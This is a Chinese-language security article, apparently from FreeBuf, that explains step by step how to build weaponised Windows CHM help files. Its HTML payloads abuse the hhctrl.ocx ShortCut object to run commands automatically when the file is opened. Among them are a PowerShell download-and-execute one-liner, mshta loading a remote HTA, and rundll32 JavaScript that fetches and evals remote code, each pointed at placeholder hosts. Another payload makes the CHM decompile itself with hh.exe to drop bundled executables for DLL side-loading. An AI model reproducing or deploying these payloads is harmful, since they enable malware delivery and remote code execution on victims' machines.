freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CHM攻击利用指北
2021-08-26 17:27:20

简介

"Compiled Help (or HTML) Manual"简称chm,即“已编译的帮助文件”,是由微软开发文档格式,可以被认为是一种类似于RAR等压缩打包的文件格式(可以使用7z等压缩软件直接打开), 可以包含html、图片、脚本语言以及其他文件。

当攻击者恶意利用此文件时,通常会在CHM文件内包含恶意脚本和文件,用户打开chm时便会触发恶意代码执行。著名恶意渗透框架如nishang等都支持生成CHM的恶意恶意利用。本文介绍了如何手动制作CHM,并梳理了常见的攻击利用方式。

手动制作CHM文件

chm文件由一系列html文件编译在一起,形成帮助文档,主要依靠一些配置文件来组织CHM的文件结构。

步骤1 定义HTML help project (.hhp)配置文件

hhp文件是在编译时用到的主要文件。其中定义了主页、chm文件名、标题,以及包含的文件等一系列信息。

1[OPTIONS] 
2Compatibility=1.1 or later
3Compiled file=PocCalc.chm                 // 指定生成的CHM文件名
4Contents file=Table of Contents.hhc       // 指定hhc文件
5Index file=Index.hhk                      // 指定hhk文件
6Default topic=poc.html                    // 指定首页的html文件名
7Title=PocCalc                             // 标题
8Display compile progress=No
9Language=0x410 Italian (Italy)
10Full-text search=Yes                
11
12[FILES] 
13poc.html                                  // 需要编译打包进CHM的文件
14GoogleUpdate.exe 
15goopdate.dll
16
17[INFOTYPES]

步骤2 编写html源码文件

HTML格式源码文件用来存储CHM当中的文本内容,管理组织图片, 按钮,快捷方式等呈现方式。当被攻击者利用时,常常会通过ShortCut的方式添加恶意命令,在Item1的Value中指定需要运行的进程和参数。

如下是一个通过CMD启动计算器的样例。

1<!DOCTYPE html>
2<html>
3<head><title>calc poc</title><head></head><body>
4command exec
5<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
6<PARAM name="Command" value="ShortCut">
7<PARAM name="Button" value="Bitmap::shortcut">
8<PARAM name="Item1" value=',cmd /c, Calc'>
9<PARAM name="Item2" value="273,1,1">
10</OBJECT>
11<SCRIPT>
12x.Click();
13</SCRIPT>
14</body></html>

步骤3 定义hhk文件

hhk文件是html格式的文件,用于保存CHM中关键字索引目录的内容, 在<BODY>标签中以列举所有需要嵌入到chm文件中的附件文件对象,对象包含对象名Name和编译对象所在路径Local两个参数,设置的对象会在编译的时候编译到chm文件中。

1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
2<HTML> 
3   <HEAD> 
4   <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
5   <!-- Sitemap 1.0 --> 
6   </HEAD>
7   <BODY> 
8   <UL> 
9   <LI><OBJECT type="text/sitemap">
10       <param name="Name" value="GoogleUpdate">
11       <param name="Local" value="GoogleUpdate.exe">
12       </OBJECT> 
13   <LI><OBJECT type="text/sitemap">
14       <param name="Name" value="goopdate">
15       <param name="Local" value="goopdate.dll">
16       </OBJECT>
17   </UL>
18   </BODY>
19</HTML>

步骤4 定义hhc文件

hhc文件也是html格式的文件,在hhc文件中,用<UL>和<LI>两个标签定义了带有层级关系中列表,并在其中以<OBJECT>的形式嵌入了html页面对象。利用列表的层级关系,构造了最终chm文件的层级关系。

第一个sitemap对象中包含的html文件将作为首页展示,其中的恶意代码将自动加载执行。

1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> 
2<HTML> 
3    <HEAD> 
4        <meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1"> 
5        <!-- Sitemap 1.0 --> 
6    </HEAD> 
7    <BODY> 
8        <OBJECT type="text/site properties">
9            <param name="ImageType" value="Folder">
10        </OBJECT> 
11        <UL>
12            <LI> <OBJECT type="text/sitemap">
13                <param name="Name" value="Notice">
14                <param name="Local" value="poc.html">
15                <param name="ImageNumber" value="1">
16                </OBJECT>
17         </UL>
18     </BODY>
19</HTML>

步骤5 使用HHC.exe 编译

最后我们就可以使用hhc.exe将以上文件编译打包成.chm文档。

命令格式:hhc.exe <hhp文件路径>

反编译

当安全分析人员需要对CHM文档进行逆向分析的时,可以使用windows系统自带的hh.exe 对CHM文件进行反编译(常见路径C:\Windows\hh.exe,C:\Windows\SysWOW64\hh.exe)。但攻击者同样也会利用该工具释放自身CHM文件包含的恶意程序样本,该方式常常被利用来释放白加黑文件。

命令格式:

HH.EXE  -decompile <输出路径> <目标chm文件>

反编译后的7-zip.chm帮助文件。

1629969633_61275ce10375fdaad4180.png!small?1629969633799

常见攻击利用方式

1 利用hhctrl.ocx对象命令执行

攻击者可以在html源码文件中嵌入hhctrl.ocx对象来执行命令,ShortCut类型可以接受在Item中填写程序地址,并传递参数给他(不支持如%WINDIR%等环境变量)传递的Value将分割两次“,”获取程序名和参数并调用Shell32.dll的导出函数ShellExecuteA创建进程。

[相关MSDN资料]

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/to-insert-the-html-help-activex-control-in-your-html-file

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/shortcut

https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/item-parameter

如当打开或点击左侧标题时就会执行powershell一句话命令。

1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
2command exec 
3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
4<PARAM name="Command" value="ShortCut">
5 <PARAM name="Button" value="Bitmap::shortcut">
6 <PARAM name="Item1" value=',powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring("http://xx.xx.xx.xx"))'>
7 <PARAM name="Item2" value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

通过mshta运行远程hta。

1<OBJECT id=poc classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
2    <PARAM name="Command" value="ShortCut">
3    <PARAM name="Button" value="Bitmap::shortcut">
4    <PARAM name="Item1" value=",mshta,http://x.x.x.x/loader.hta";>
5    <PARAM name="Item2" value="273,1,1">
6</OBJECT>
7<SCRIPT>
8    poc.Click();
9</SCRIPT>

通过rundll32运行JS代码。

1<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
2command exec 
3<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
4<PARAM name="Command" value="ShortCut">
5 <PARAM name="Button" value="Bitmap::shortcut">
6 <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://xx.xx.xx.xx",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
7 <PARAM name="Item2" value="273,1,1">
8</OBJECT>
9<SCRIPT>
10x.Click();
11</SCRIPT>
12</body></html>

2 释放文件并执行

另一类攻击方式是通过使用CHM打包文件特性,将恶意文件一起打包到CHM文件中,投递给受害者,当受害者双击打开时,恶意CHM就会调用hh.exe -decompile反编译自身,释放包含其中的恶意文件并运行。该方式不需要创建网络连接二次拉取payload,隐蔽性和可利用性较高。

获得当前CHM文件路径,创建用于命令执行的document对象,拼接当前chm文件路径到hh.exe 的参数中反编译释放当前chm文件。

1<SCRIPT>
2function getPath(){ 
3    var pathName = document.location.pathname;
4    var index0 = pathName.substr(1).indexOf(":");
5    var index1 = pathName.substr(1).lastIndexOf(":");
6    var result = pathName.substr(index0+2,index1-index0-2);
7    return result; 
8}
9
10var dir = getPath();
11
12var commodStr = '<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>' + '<PARAM name="Command" value="ShortCut">' + '<PARAM name="Button" value="Bitmap::shortcut">' + '<PARAM name="Item1" value=",hh, -decompile C:\\Windows\\Temp\\Downloads\\ ' + dir + '">';
13document.getElementById('t0').innerHTML = commodStr;
14x.Click();
15</SCRIPT>

函数getPath()用于获取当前chm所在的绝对路径

定义一个Object,前两个参数为固定格式:id和classid,在第三个参数中构造要执行的命令

获取上面定义的容器对象,通过赋值给innerHTML对象实现

document.getElementById('id').innerHTML = commandStr;

上面语句中的id是在html中定义的<div>分区的id

触发执行 x.Click()

3 ActiveXObject

比起前两种方式好处是可以直接执行VBS代码或JScript代码调用ActiveXObject对象,可以使用脚本代码实现后续攻击行为。但运行时会告警目标是否启用ActiveX对象, 需要目标点击二次点击确认。

1629969812_61275d94c97592dc84435.png!small?16299698136511629969828_61275da40ac6e4fba7016.png!small?1629969828872

总结

CHM文档作为windows下常见的文档类型,总体的隐蔽性和实战价值都比较高。攻击利用时可以通过命令执行达到一句话上线,或通过二次拉取下发等方式进行云控,也可利用hh.exe -decompile反编译自身释放白加黑文件直接上线。如果目标安全警惕性较低,可以通过ActiveX对象运行恶意代码。更多关于CHM的攻击利用方法及武器化实现值得安全攻防人员关注。

本文作者:, 转载请注明来自FreeBuf.COM

# CHM # 蓝军 # 网络安全 # 攻击利用
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑